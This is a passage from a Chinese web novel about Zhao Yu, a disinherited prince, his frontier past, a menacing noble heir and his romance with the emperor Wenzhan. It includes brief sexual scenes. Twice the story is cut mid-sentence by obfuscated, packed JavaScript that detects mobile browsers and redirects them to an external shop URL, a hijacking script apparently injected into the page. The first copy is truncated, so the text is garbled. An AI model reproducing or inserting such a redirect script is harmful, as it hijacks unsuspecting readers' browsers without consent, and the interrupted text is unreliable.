小厮给旁边上菜的时候,忽然给他手塞过一张纸条,“客官,那边有人让我给你这个。”说完,他指了指外面,可是等赵毓抬头的时候,酒楼外面早已经空无一人。 赵毓展开纸条,上面只有一个字,——快走! 看见这个,赵毓连忙放了一封银钱在桌面上,扯着尹桂宝儿喊赵格非,“吃饱了,快走吧。” “不是,姐夫,我那个,……” 轰隆! 他们刚出酒楼,木楼一角崩塌,恍恍惚惚砸下,不偏不倚,正砸在他们就坐的位子上!如果刚才不走,他们三个人都会被砸成肉泥。 一向闺秀做派的赵格非都圆睁了眼睛,“这个,这个,也太,……” 尹桂宝儿死里逃生,嘴里还叼着一块排骨,此时也吧嗒,掉在地上,“姐夫,我要去烧香!” 赵毓却出奇的冷漠,他看着眼前,对着两个人说,“走吧。” “啊?去哪儿!”赵格非,尹桂宝儿异口同声。 “宁淮侯府。” 随侯府。 那个女奴死的时候也是看着天,即使此时已经是深夜,她那双漂亮的蓝眼睛像一汪水一样,石慎很喜欢这样的眼睛,就像是天空倒影在人的心中一样。 “一不作二不休,世子果然还是世子。” 她死之前说过这样一句话。 还有,…… “你闯祸了,……” 石慎命人收拾好这一切,他出书院到前厅,见了母亲侯夫人,“母亲,我有要事,请吉王妃过府一趟。” “什么事这么重要?” “身家性命。” 侯夫人知道他这个儿子一向稳重,他这样说,当然不能怠慢。现在天色已晚,她亲自坐轿去了吉王府,请王妃回侯府。 吉王妃来的时候略施粉黛,坐在花厅中稳了稳神,才问,“哥哥让我回来,说有要紧的事情要问,到底是什么事?” “你给我说实话,那个赵毓,究竟是什么来头。” “这个我可不能说,……” “说吧,如果不说,咱们全家可能就有灭顶之灾。” “啊!”吉王妃被石慎忽然的言辞惊扰的心烦意乱,“哥哥,你上次不是说同他喝过酒了吗,不是说事情过去了,怎么,弟弟又招惹人家了?” 石慎也心神不宁,顾不上平时的儒雅,他一把抓住王妃的手臂,“我的人打探到他带着家人住进宁淮侯崔珩的家中,他和崔珩有什么关系?” 吉王妃,“他,他就是崔珩的表弟。” 石慎,“即使现在崔珩权势熏天,赵毓这样的背景也算不上什么吧。” 闻言,吉王妃叹口气,“这才过去十几年,怎么雍京的人这么健忘?宁淮侯从来只有一个表弟,哥哥难道忘记他是谁了吗?” 石慎愣了一下,“崔珩,从来只有,一个,……” 吉王妃,“崔珩是贵戚,因为他是先帝贵妃崔氏的侄子,而崔贵妃也只有一个儿子,就是当年的皇长子祈王。” 石慎,“他不是皇族血脉,已经被先帝褫夺王爵,逐出雍京了吗?听说,后来行踪不明。” 吉王妃,“他活着,一直都活着。哥哥,王公贵戚都知道,当年的祈王就在毓正宫长大,与当年的太子如今的皇上自小交好。如果当年他死了,众人也不觉得什么,可是他活着,而且就在雍京,这本身不就说明一些事情吗?” “如果圣上不让他活着,崔珩还能像现在这样权势熏天吗?” “哥哥,就是因为没有人知道发生了什么,所以才要当心啊,不能再惹他了,真的不能再惹了。” 宁淮侯府。 崔珩走下台阶,看见赵毓面对一棵竹正在格物致知,“你那个小舅子喝安神汤睡的像头猪,你闺女到挺好,居然在我书房拿了两本书回去看,你怎么了,想要睡觉,还是喝酒?” “这么晚,喝什么酒?” “你脸色差到像一只鬼。”崔珩,“说吧,怎么了?” “碰到一个故人。”赵毓还是看着那根竹子,“他喜欢以非常残忍的方式杀高昌少女。但是这个人外表看起来温文尔雅,真是太恶心了。” “谁?石慎?” “嗯。” “你想做了他?” “我不知道。” 崔珩看着夜空,“他弟弟石恺我可以做,但是他不成。他有王命在身,做了太麻烦。” 赵毓,“如果以国法惩治呢?” 崔珩,“国法?一个勋贵世子杀了几个高昌奴隶,国法能罚他什么?三大杯酒?还是用斗彩鸡缸杯?” 赵毓没说话。 崔珩,“自己人,处置起来麻烦。” 赵毓,“自己人?” 崔珩,“嗯。他是先帝下旨亲封的随侯世子,名字写在大郑三十二侯府的名碟上,他亲爹现在就在大郑北疆前线,他妹妹是亲王正妃,他不是自己人是什么?其实,他不是不能抓,不能杀,但必须是重罪,必须证据确凿!否则就是让满朝的勋贵家族寒心,私杀几个奴隶这样的罪名无法弄倒他。不要说死几个奴隶,说白了,就算你死他手中,按照大郑国法,他都不会为你偿命。” 赵毓又不说话。 崔珩,“我有一个馊主意,你可以构陷他伤了你,越重越好,最好快要死了,吐血都要吐一大口。以你们家那个狼崽子的性子,我不信他忍的下去。他一出手,石慎非死即残。” 赵毓,“那样,就会陷文湛以私情亵|渎神器。” 崔珩,“嗯。” 赵毓,“所以,……” 崔珩,“什么?” 赵毓,“还是算了吧。我去睡了。” 崔珩,“……” 27. 27 27 尹徵和赵格非目前住宁淮侯府,安全。 次日,崔珩让赵毓回家一趟。 赵毓一到家,就看见黄枞菖在他的书房里面端着坐着,正在临摹。 “祖宗,这是楚相刚送过来的字帖,全部的《诗经》《楚辞》,还选了他喜欢的一百多首唐诗宋词,还有他自己写的诗。这是左相大人自己亲手写的,说是给您添书房用的。我得描回去,司礼监那群孩子们可没见过楚相写过这么多诗词歌赋,留着给他们临摹练字用。” 赵毓仔细看了看,叮嘱道,“你小心一点,别溅上墨点。哦,另外也给我也临一套出来,给格非描红用。” “拉倒吧,大小姐想要看随时都可以,我们那群孩子们可等着这个救命呢!” “不至于吧。” “怎么不至于?我们那群孩子可没见过这个,楚相原来只写条陈,那些都是制式的,里面的字都临够了,唐诗宋词多一两个字都是稀罕玩意儿。我把这个拿回去,那些孩子们还不得请我天天喝大酒?” 烧火的赵大妈送过来一个荷包,上面绣着一棵胡杨。这是美丽的树,号称三千年不死,三千年不倒,三千年不朽。荷包你们夹着一张字条,字迹同端午那天让他们’快走’是一样的,同时还写了一个地址,——雍京西市玉关茶楼,故人到。 “黄瓜,一会儿让赵大妈给你烧火煮面吃,我得出们一趟。” “哎!祖宗,主子说端午那天你没过去喝酒,他给你留了酒,一会儿就得走!” “我一会儿就回来!” 如果说雍京那里最繁华,有人说北城都是高门大户、威风凛然,南城都是舞榭歌台、温柔乡英雄冢,各有千秋;那么如果有人问,雍京那里的货物最全,那就只有雍京西市。 这里什么都有的卖。 只要有钱。 赵毓这次回雍京还没有机会来这里,原来那些年倒是来过,当年过来,是为了销|赃。他在西疆的时候为了扩军,边境走私的事情也不是没有干过,只是不做几行:烟膏,人,还有杀人的买卖。 这几行实在太作孽。 这次有人写了纸条,还写了西市,一定是出乎意料、又合情合理的人出现了。 只是他没有想到,他在一个铁铺外面看到石慎。 “赵先生,又见面了。”随侯世子温文尔雅,“您也过来西市散散?” “我来遛弯不稀奇,我一个平头百姓,西市东西便宜,居家好用。可是,世子您来这里就稀奇了。您来这里是,……” “为弟弟看把剑,他们书院要用。” 如今世家公子的教养也向大郑皇子们看齐,读书的时候开始习剑。 “哦,那您还真有眼力。这是王三麻子铁匠铺,打的菜刀闻名京畿。我听说北城好几位大人家的厨子都是在这里订菜刀。就是不知道他们打造的剑如何了。世子您慢挑,我走了。” “赵先生。”石慎叫住他,“遇见了,一起喝个茶吧。” 既然,当下谁也不能把谁做掉,那么,就是朋友了……? 赵毓想了想,点头,“行啊,上次世子请了酒,这次我请您喝茶。咱们去枫水茶楼。” 这里人多,生意多,茶楼多,枫水茶楼就在玉关茶楼前面,喝完这顿,刚好可以去玉关回故人。 枫水茶楼就是一个普通的二层小楼。 一楼卖茶叶,二楼卖点心。 石慎身娇玉贵,他从来没有到这种地方来过,这里嘈杂的叫喊声,劣质的茶叶味道,还有腻腻的点心让他有些皱眉头。不过赵毓倒是如鱼得水。他在一楼点了一包半钱银子的西湖绿茶,又在二楼要了两个肉烧饼和猪肉包子,就坐到石慎对面,等着伙计把茶水用大壶冲好,拿着两个缺边的盘子将烧饼和包子端了过来。 “赵先生哪里人?” “雍京人,土生土长。” 既然这位世子有个王妃妹妹,赵毓估计自己那些底,人家也探的差不多了,就是不知道探到哪一步了? “哦,我也是。” 赵毓忽然问他,“世子,您当时听了屠明珠的琴,感觉怎么样?” 石慎没有想到赵毓会问一个可以得到真实答案的问题,“屠姑娘自然是色艺双绝,只是她的琴声有些过于炫耀。那晚我看她用的是名琴’天音流韶’,这把琴的声音高一些,适合梵音,只是可惜,让屠明珠弹了一曲靡靡之音。” “世子就是眼光毒,我当时也是感觉弹奏的不对,别的没多想。” “赵先生要是喜欢挺琴,改天有时间,我请先生到临水天苑,那里有好的琴师,只是怕姿色不如屠明珠,不入先生眼。” “不会,有琴听,就好。” 两个人,各怀鬼胎,居然就着一壶茶、两个烧饼与包子聊的异常亲密。赵毓同石慎在长街拱手分别的时候,还颇有一种十八相送的依依不舍,财狼与猎犬的惺惺相惜。 ——既然能找到西市,那么,别的事情他也能嗅到。看样子,留给自己的时间也不够多了。 赵毓想。 玉关茶楼比枫水茶楼看着气派一些,主人是瓜州人,所以这里有独特的热奶煮浓茶。赵毓上楼,在西边靠着内院的雅间看到找他的人。 ——一名绝美西疆女子,湛蓝色的眼睛如同佛宝琉璃一样,似乎就是西疆那抹碧透的蓝天。 “加茉妹妹,好久不见。当年你还是十三四的小姑娘,现在都长成大姑娘了。” “元承哥哥,找你可真是费力,要不是元承哥哥一直是个好人,我还以为你要躲着我们呢!” 元承,是赵毓在西疆用过的若干个名字中的一个。赵毓拉开椅子,坐下,“加茉妹妹在端午那天的救命之恩,哥哥实在无以为报,如果不是你的纸条,估计我们一家三口都死了。只是,……,恐怕那件事情上,佛是妹妹,鬼也是妹妹。” 加茉巧笑嫣然,“哥哥,是那个世子太丧心病狂,当时我们只是让人告诉他要吓唬吓唬你,没想到他出手就要见血。这事,您可要原谅我哦,再说,我们给那个世子带信的人也死了呢。哥哥,这是我们的砖茶,用牛奶煮的,雍京仅此一号,哥哥尝尝。” 赵毓没动。 加茉叹气,“元承哥哥,虽然当年您离开瓜州就说过,以后不用再相见了,可是,我们真的有难事,还需要哥哥帮忙。” 闻言,赵毓还是无言,只是手指在桌面轻轻滑动。 加茉看他这个样子,知道软语是无用了,这才说,“方才哥哥也见过那个世子了,现在他可像草原的鬣狗一样,专门吃腐肉的,他盯上哥哥了,可怎么办?” 赵毓柔和的笑了笑,“有什么事情就直说,我最讨厌被人威胁。” “如果哥哥肯帮我们,我们自然也会帮哥哥的。那个世子就不会再得到哥哥任何的消息,比如,……,当年在敦煌,哥哥走|私的内账?” 赵毓笑的像柔软的雪水,“妹妹,如果我连抹平那种账的能力都没有,就不会在西疆帮你们打奴隶贩子打了七年。可你们呢?那些人让我扫了,你们现在是自己卖自己人。我知道现在雍京一些权贵高门买一些西疆奴隶,都是你们自己卖进雍京的吧。” “这是大长老的筹谋。”加茉语气颇为恭敬,“为了圣喻,为了来世,姐妹们在地狱中煎熬就是修行。” 赵毓冷笑,“你们那个大长老要是相信他自己说的鬼话,他怎么不把自己卖了?据我所知,那位大长老虽然上了一些年纪,可也是一位风度翩翩的美男子,雍京这边的权贵们倒是有人喜欢这口儿的,……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728885|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“住口!”加茉厉声说,“不许侮|辱大长老。” “你也知道这是侮|辱?那你怎么就能眼睁睁的看着自己的姐妹受苦?”赵毓尽量让自己的声音再次柔和下来,“妹妹,我知道你小的时候受了很多苦,但是,这不意味着你有权利把你的苦难转嫁给别人。还有那个大长老,他就是一个神棍,说的鬼话自己都不信,你们信他,早晚出事。” “元承哥哥是不打算帮我们了。” “不帮。” “大家都说元承哥哥吃软不吃硬,现在看是软硬不吃呢。既然这样,……”加茉站起来,用她们自己的礼节送赵毓,“用哥哥原来喜欢说的一句话,雍京山高水长,请哥哥多保重。” 赵毓回家的时候已经掌灯,黄枞菖等的抓耳挠腮的。他一见赵毓进门,一把抓起来就去牵马,“快走,快走,主子一定等得心急了。” 结果到了文湛寝宫,发现人家也没有很心急,就是安静的坐在那边看书。 赵毓对抓耳挠腮的黄枞菖说,“皇上不急急死太监。” 黄枞菖一讪,“拉倒吧,您看主子这本书的拿倒了。” 夜饭摆在临着太液池的鹧鸪殿,临着水的大殿没有柱子,全然是开阔的水面,可以看见遮天蔽日的红莲。赵毓胃口不好,晚上吃不多,所以只是准备了他爱吃的几样小菜。没想到他好像真的饿了,捧着米饭就着菜一口一口的吃,看上去慢条斯理的,饭菜下的极快,不一会儿,一碗饭就底朝天。 “昨晚,你去宁淮侯府了?” “嗯。我找老崔有点事。” “以后,有什么事先对我说。” “哦,记住了。” “现在,你有什么事情要跟我说吗?” “没啥。” 黄枞菖给盛了第二碗饭,赵毓捧着继续吃。一口饭一口菜,一口菜一口饭,还是那样,看着慢条斯理,可是速度极快。 “你,怎么心神不宁的?” 听文湛这样问,赵毓抬头,“我没有心神不宁。” “你刚才吃的什么?” 赵毓,“龙井竹荪,花菇鸭掌,莲蓬豆腐,还吃了一口如意卷和炝芦笋。” 文湛咳嗽了一声,掩饰尴尬。——他说的对,一点不差。 忽然,文湛向他伸手,“礼物。” “我自己用黑丝和金线编了一个络子,端午之前已经让黄瓜给你送过来了。喏,你自己也戴着呢。” “礼物。”皇帝的手没有回撤。 赵毓只能擦了擦嘴,然后抓过文湛的手,在他的手心上亲了一下。 “礼物。” 皇帝起身,在他身边弯下腰,随后在他腮边也是轻轻亲了一下。 赵毓抬起双臂,揽住了文湛的脖子,被他撑着腰身从椅子上拉起来。赵毓在西疆那个鸟不拉屎的地方几乎是食不果腹,但是居然还长高了,现在他站着被抱高一些,就可以直接亲吻到皇帝嘴唇。再被抱高一些,赵毓用双脚勾住文湛的腰,就这样,以面对面亲吻的姿势被抱着从临水广阔露台上离开,进入内殿。 身边一直伺候着的黄枞菖、柳丛容连忙低垂双眼,躬身离开,在鹧鸪殿外将周围服伺的人遣离二十步,周围空旷又安静。 入夜,太液池的风吹皱了一池的红莲,除了那些莲叶摇动的声音,就是喘息和呻i吟,…… 也许文湛是对的,他真的是心神不宁,只是两个回合就撑不下去了。 文湛把薄被给他盖好,被他掀开。 “夜里凉,盖好。” “……,热,……” 什么都没收拾,身体肌肤上还留有薄汗。 文湛起身,披了衣服下床榻拿扇子,回来坐在他身边,轻轻摇着扇子,一下一下再一下,……一直到更深露重。 28. 28 28 雍京北城,有间茶叶铺。 赵毓一进来,发现这里一个客人都没有,店里的伙计倚靠在门边,正在看天。那人一见赵毓,连忙把他引进了里屋,上了店里最好的龙井,不一会儿,掌柜的就到了。 “这是什么风把你吹来了?我还以为瓜州一别,这辈子就看不着你了!” 薛掌柜长的胖胖的,一身膀子肉一走三晃,这才五月,他已经热的满脸都是汗了。这是当年在西疆跟着赵毓的老兵,当年在瓜沙肃兰吃的不好,他那个时候就算长得壮,也没有现在出格,现在简直比当年肥了四圈。 赵毓,“加茉来了。” 薛掌柜拿着一张大布巾正在擦脸,听着就是一惊,“那娘儿们怎么来了?” 赵毓,“不是好事。她让我给她做事我没答应,估计要拿当年咱们在边境的事情做做文章。” 薛掌柜一挥动他的大扑扇一样的手掌,“别搭理她。我先前看那个小丫头挺好的,后来不知道中了什么邪,跟着那个大长老神叨叨的。那些账不是都平了吗?” 赵毓,“平了账,平不了人。我怕她拿咱们的人下手。现在不是有几个弟兄在雍京讨生活吗,她搭上了另外一个有权有势的混账东西,就算抓不到真凭实据,乱撒泼也麻烦。你去告诉那几个,最近风声不对,让他们都小心点。” “这没问题。”薛掌柜还真有些担心,他们现在都是平头百姓,怕沾事,“我就感觉吧,怕防不胜防。” “防不胜防也要防。”赵毓,“你现在还做包打听的买卖吗?” 薛掌柜点头,“做!这是大头!不然指望着这个茶叶铺,我得回去喝西北风!你想探谁的底细?” 赵毓,“石慎。” “就是他?”薛掌柜,“加茉搭上的王八蛋就是他?” 赵毓没回答这个问题,另外问了他一句,“这个人,就连他晚上跟那个娘儿们睡觉,哦,睡的爷儿们也成,反正他睡几次,他几岁断奶什么的都给我弄明白了。多少钱?” 薛掌柜摆手,“跟兄弟就别谈钱了。” 赵毓摇头,“亲兄弟明算账。再说,当年也是我不愿意在西疆呆着了,自己先走的,对不住你们,别跟我谈人情了。” 薛掌柜看了看他,手指摆了一个数,赵毓点头,从袖子中拿出一张银票,放在桌面上。 薛掌柜看着赵毓直笑,他说,“老八早说了,你属于天性凉薄,相处的时候知道掏心掏肺,可是有一天懒得相处了,忘起人来比王八蛋还狠还浑,大家都习惯了。” 敕造宁淮侯府门前的狮子都比别家的高一头。 尹徵早就听说过宁淮侯崔珩的大名,虽然他不太明白自己为什么会平白无故的住进这里来,但是一想到那位连黑色缂丝翔鸾纹锦袍都敢穿的六哥,他也就释然了。 只是,…… 人们都说侯门公府,深宅大院,其中必有凄艳。 尹徵住的这个院子叫做小松涛院,倒是不小,四四方方,种了常年绿色的书,小风一吹过来,听着都有些惊涛骇浪的感觉。凄艳什么的到没有,纯正的刚正不阿,外加松柏常青,特别像给忠臣良将住的。他的隔壁院子是蘅芜汀兰院,赵格非就住那边。那个院子倒是有些贵女应该居住的风雅,一院子的奇花异草,一到夜间,香气如果话本中的鬼狐一般,全冒了出来。 雍京城传宁淮侯府邸姬妾如云,但是那些传说中的美人儿,尹徵一个没看着。他在这里,过的特别的清心寡欲。侯府规矩极大。尹徵这个院子两个母苍蝇都飞不进来,而赵格非那个院子则两个跳蚤都是母的。 赵格非则住的如鱼得水。她原本以为崔珩是以贵戚军功封王侯爵位,一定如同尹家满门一般是文盲,结果侯府藏书阁让赵格非大开眼界。她在这里每天看书,日子过的沉静而有趣,于是,也就没有功夫再理睬尹徵的哀怨了。 于是,当尹徵看见赵毓过府看他们,直接抱住赵毓的大腿,“姐夫,我知错了,我任打任罚,你饶了我吧!” 赵毓丈二和尚摸不着头脑,“我怎么你了?” 尹徵,“我想回家。” 赵毓,“那我让管家爷爷赶紧写信回云中给你爹娘,让老爷派人过来接你回云中?” 一听,尹徵立马不嚎了,“不要,我一个人在雍京挺好的,不回去。” 赵毓看着他直乐。 尹徵,“姐夫,我想回去自己那个地方,俗话说金窝银窝不如自己的狗窝,咱们都是白身,总是在侯府打扰多不合适啊!” 赵毓则说,“你在这里呆几天,学学规矩,也和格非一样,多看看书,不然你每日在家睡到日上三竿,在云中好不容易读的几本书全忘光了,等你回大爹娘面前小心他们家法伺候。” 尹徵一听,知道没戏,索性也不装了,抱着手臂坐在椅子上生闷气。他这个姐夫看似好说话,其实主意特别大。不熟悉他的人说他吃软不吃硬,其实这个人软硬不吃。一定他的心意定了,谁说都不听。在家的时候,连爹娘都让他三分,更不要说如今在雍京他的一亩三分地,自己只有被管教的份儿,根本翻不过身来。 赵毓去看赵格非,结果她不在自己的蘅芜汀兰院,而是在藏书阁。 “姑娘这么努力读书,要是有一天蟾宫折桂去了,可千万别忘了你老爹我呀。” 赵格非看见他爹给她端过来甜汤,只说了一句,“亲爹,书房重地,不允许吃喝。” 赵毓坐在她身边,自己开始吃,这是新鲜的莲子加了冰糖炖的汤水,随后放在冰窖中镇着,喝着清凉消暑。 “我最近有些事情要做,你得在你表叔这里住几天。” “嗯。”赵格非点头,“舅舅上次旁敲侧击问我,知不知道您同侯爷是什么关系。” “哦。” “我说,不知道。” “其实,也没必要骗他,我只是懒得说。” “可是亲爹,舅舅告诉我一件事。” “啥?” “舅说,先帝年间宠冠诸王的皇长子祈王就是宁淮侯的表弟。当年祈王被褫夺王爵还连累了崔侯,后来崔侯有了军功这才翻了身。现在比之前权势还炽。” 赵毓,“……” 赵格非,“然后,我舅还说,宁淮侯就只有这么一个表弟。” 赵毓,“……” 他的手指无意识在桌面上敲了几下,赵格非则说,“亲爹,不想说就不要说了。其实我也没有那么想要知道。” 赵毓,“这件事吧,其实,……” 赵格非,“昨天我拜托崔侯带我去过一趟祈王府,我们进不去,就在外面看,它现在还被封着,但是王府并不破败,想必有人经常打扫维护,只是没有新的主人,也似乎不可能有新主人。因为王府上面甚至还挂着匾额,是黑色檀木的底子,上面是黄金化水浇筑的三个大字——祈王府。” 这些,赵毓都不知道。 十四年前,先帝下旨褫夺他的王爵,查抄王府,他跪在地上,看着禁卫军将王府匾额拿下,看着他家中那些东西被封入十尺的大木箱里面,一个一个的向外抬。王府外的一条街上堵满了人,他就跪在王府正门外,磕头谢恩,脑门都是青的,显得异常虔诚。 从那天起,他再也没有回去过,甚至就连他住在北城他都不曾再回去过那条街。 因为,他也的确回不去了。 “亲爹,如果在雍京住的很不开心,那我们就走吧。回云中,回冉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728886|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄或者去一个谁也不认识我们的地方,就我们父女两个人。我娘临终的时候让我好好照顾您,我不能让她不安。” 赵毓乐了,“真是好闺女,老爹心领。不过呢,在你成年之前,还是由你老爹我照顾你吧。” 他拍了拍赵格非的头。 “这些天我在雍京住的不开心是因为最近遇到一个王八蛋还有其他一些之前认识的人。我没跟你说,是因为这是我自己惹的冤孽,我得自己扛。至于之前那些事儿吧,……,闺女,你想当郡主吗?” 赵格非摇头,“不想。” 赵毓,“你想当,我也没辙。” 赵格非,“……” 赵毓笑着说,“因为我的确不是先帝骨血。” 赵格非,“亲爹,……” 赵毓,“不过有个词我觉得挺新鲜的,宠冠诸王,你舅真这么说的?” 赵格非点头,“嗯。” 赵毓自己咂摸这个词,越想越……有些想念他老爹了,虽然同他没有血缘关系,但是他从一睁眼到后来,父亲只有这个一个,就是先帝。 赵格非,“亲爹,您怎么可能得到宠冠诸王这样的待遇?” 赵毓,“如果你早生几年,没准还能见过曾经和你爹我称兄道弟的那几个叔。那些人都他妈的是王八蛋,所以把你爹我衬托的玉树临风,一枝独秀。” 赵格非,“那些王八蛋,也包括六叔?” 赵毓,“他,……” 赵格非,“皇帝。” 赵毓,“是。” 赵格非,“那他和您,……” 赵毓,“还是那句话,等你长大了之后再说。” 大正宫,文湛寝殿。 赵毓让黄枞菖从太液池捞上来红莲的莲子,他把这些放在一个水晶碗中,开始一颗一颗剥莲子。本来留着莲心可以败火,但是那太苦,于是他就小心的把碧绿色的莲心全部去掉。 黄枞菖就在他身边,正在端正临摹楚蔷生的字帖。 文湛从微音殿回来,他有些意外赵毓还在。他早上离宫的时候并没有说晚上回来,文湛原本以为又会有几天的分离,没想到回来是这样一幅场景。 “怎么剥莲子?” “下午在老崔家,他们弄了一道甜汤挺好吃的,解暑,我给你也做一碗,最近天气太燥,小心上火。” “嗯。” 那边黄枞菖早就麻利儿的收拾东西,悄无声息的离开。在寝殿外遇到垂手站立的柳丛容,他们商量要到哪里摆饭。 这边有人伺候文湛更衣,收拾完毕,他拿了一本书坐在赵毓身边。 一个剥莲子。 一个看书。 没人说话,却丝毫没有静寂的感觉。 赵毓剥完了红莲莲子就让人加了冰糖小火炖,得了之后放凉,盛入水晶盅中,放入青花大碗,底下镇着冰块。 赵毓说,“对了,格非知道了我之前的事。” 文湛放下书。 赵毓,“她就问了我一件事,据她说,百思不得其解。” 文湛,“什么?” 赵毓,“她说,民间传闻,当年的祈王是宠冠诸王,她怎么也想不通,为什么我会得到这样的待遇。” 文湛,“你怎么说?” 赵毓,“我说,因为那些兄弟都是王八蛋,于是,就只能显得我一枝独秀了。” 文湛,“王八蛋,我也是?” 赵毓,“他也是这样问我的,我没回答。” 文湛挑了一下眉。 赵毓,“有些想老爹了,……,这么多年过去,他当年对我的娇宠,再也没有了。” 良久,文湛说,“我也想,只是,……,你不让。” 29. 29 29 赵毓,“怎么这么说,你已经为我做了很多了。上次崔珩还说,……” 文湛,“怎么,他除了说我是小狼崽子之外,还说我什么?” 赵毓,“这你也知道?呃,他也就说一骑红尘妃子笑。” 文湛,“没说从此君王不早朝?” 赵毓,“那他没敢。” 文湛,“可是我还不够好。” 赵毓看了看他。 文湛,“如果我足够好,你不会这样说。” 赵毓想要笑,却有些笑不出来,不过最后还是笑了,“你和老爹又不是一回事儿。你已经足够好了。” 文湛,“你从来不会理直气壮的问我要什么,银子也好,什么也好,什么都没有。” 赵毓想起来自己小的时候总是对着老爹要银子,的确也是一副理直气壮的样子。每次先帝不想给,但是最后也总是给了,等到不甘心的时候问他什么时候还账,他直接说,“父皇,我可是您亲生儿子!吃你的,喝你的,用你的,花你的,拿你的,那还不是天经地义!还用还账?”结果,先帝的亲生儿子都不敢如此骄纵,反倒是他这个便宜儿子简直是无法无天了。 赵毓,“我要你银子干嘛,我都有你这个人了。……,格非说,祈王府还留着。” 文湛,“嗯。” 赵毓,“留着它干嘛?” 文湛,“当年从王府搬出去的东西,父皇一直都留着,箱子上的封条都没有动,后来,我让黄枞菖又布置了回去。现在王府的摆设应该和你当年住的时候是一样的,……,如果有时间也有心情,回去看看?” 赵毓,“如果不是格非说起来,我都不知道王府还留着。不过,文湛,我知道你的心意,而且我也很感动,只是,……,我不知道我是否能说明白。其实,关于我被褫夺王爵这件事,我不怪你。这不是你的错,虽然整件事情背后有你的权谋,但是,归根究底,我的确不是先帝的亲儿子。祈王府不属于我,虽然我曾经在那里过的很快乐,但是,过去的事情就应该让它们过去。那边的冰糖莲子已经冰好了,我给你端过来。” 黄枞菖他们就在寝宫这边摆饭,只要赵毓在这里吃,全部饭菜都是他爱吃的东西。他胃口可能真的被西疆那些风沙彻底毁坏了,现在只能吃一些好克化清淡的东西。文湛手边摆着一份赵毓炖的糖水,他倒是慢慢喝着,甜丝丝的,随后,赵毓挑拣了一个鱼块放到文湛盛着米饭的碗中。 文湛忽然问他,“你有没有想过将来?” 赵毓正在吃饭,抬头,一脸的痴懵,“将来?什么将来,种花吗?” 文湛,“你就想在雍京城这么暗无天日的混日子?” 赵毓刚夹了一块笋,吧嗒掉了,又是一脸的茫然,“我,暗无天日,混日子?”他仔细反省了反省,他一直觉得自己过的挺上进了,难道又是别人旁观者清,他自己当局者迷? 他问黄枞菖,“黄瓜,你觉得我混日子吗?”黄枞菖都不敢抬眼看他,直接低着头垂着眼睛,随后,等赵毓想要问柳丛容的时候,那位早已经退出殿外,美其名曰泡茶去了,到最后那杯茶水也没有泡回来。 晚上到了床榻上,文湛只做了一次就没了兴致。 他忽然来了一句,“偷|情。” 赵毓,“这不挺好,所谓妻不如妾,妾不如妓,妓不如偷,偷不如偷不着。咱们虽然比偷不着差一点香|艳刺激,但是偷着了也挺好的。” 半夜三更,赵毓睡的正香就被推醒。 他迷迷糊糊睁开眼睛,看见文湛从床上坐起来,拿过软枕放在腰后。 赵毓叹口气,“大半夜不睡觉,干嘛?” 文湛,“我们来聊聊名分的事情。” 赵毓嚎叫,“小祖宗,你哪根筋不对劲了,大半夜的出什么幺蛾子?” 人真是贪心。两年前,文湛只是觉得只要能看到赵毓就好,失而复得之后,他又感觉只要可以在一起就好。等赵毓搬到雍京,文湛却觉得想要长相厮守。太得寸进尺!只是,这是无法遏制同时也不想遏制,无法掩盖也不想掩盖的贪|欲。 文湛,“我们为什么不能互相给对方一个名分?既然你女儿已经知道了,那似乎也没什么需要隐瞒的必要了。” 赵毓,“这同格非有什么关系?” 文湛,“不是你怕她知道,而有意隐瞒我们的关系,还有你之前的身份?” 赵毓,“我从来没有刻意隐瞒,我只是懒得说而已。” 文湛,“好,既然你这么有胆量,那如果我说我想让你重新住进祈王府呢?” 赵毓,“你觉得我一个庶民草根不堪帝王良配?” 文湛,“当然不是。” 赵毓,“我住哪里和我们在一起有什么关系?” 文湛,“你知不知道,以你现在的身份见到太子和雍王他们要行大礼?” 赵毓,“我又不傻,当然知道。不止他们,说实话,按照大郑国法,在外面我见到崔珩楚蔷生甚至是黄枞菖柳丛容都要磕头,这有啥?你们不会让我跪的那我乐得逍遥,那些需要我跪的人我绕着走,这不得了吗?” 文湛,“如果我万一,……,你想过你自己的处境吗?” 赵毓,“小祖宗,你今天到底怎么了?” 文湛不再说话,披着衣袍下床。赵毓见没人再拨拉他了,他翻身继续睡。 他再次醒过来,外面天还没亮,身边还是没人。赵毓也拿了衣服随便穿了下床向外走,看见文湛坐在殿外的长椅上。 这里非常高,视野开阔,从这里可以俯瞰几乎所有的太液池,那里种满了红莲,这些红莲是当年和苏太子的最爱,遮天蔽日,妖气纵横。 赵毓坐在文湛身边,一倒,直接靠在文湛手臂上,被抱住。 赵毓扯扯他,“你还记得我们的初|夜吗,在毓正宫后面一个庭院,那里并不小,毗邻太液池,白墙黑瓦,翠竹林立。” 文湛,“记得,我什么都不会,你还伤了。” 赵毓,“我不是说这个,我想说的是,那天我疼的够呛,本来一直用手指捂着眼睛,但是手指被你拉开,我记得你亲我手心的那种触觉,潮湿火热。当时我就觉得像雍京猎场看到的一对兔子,已经受伤了,狐狸在后面慢慢逼近,可是它却在旁若无人的舔舐同伴的伤口。 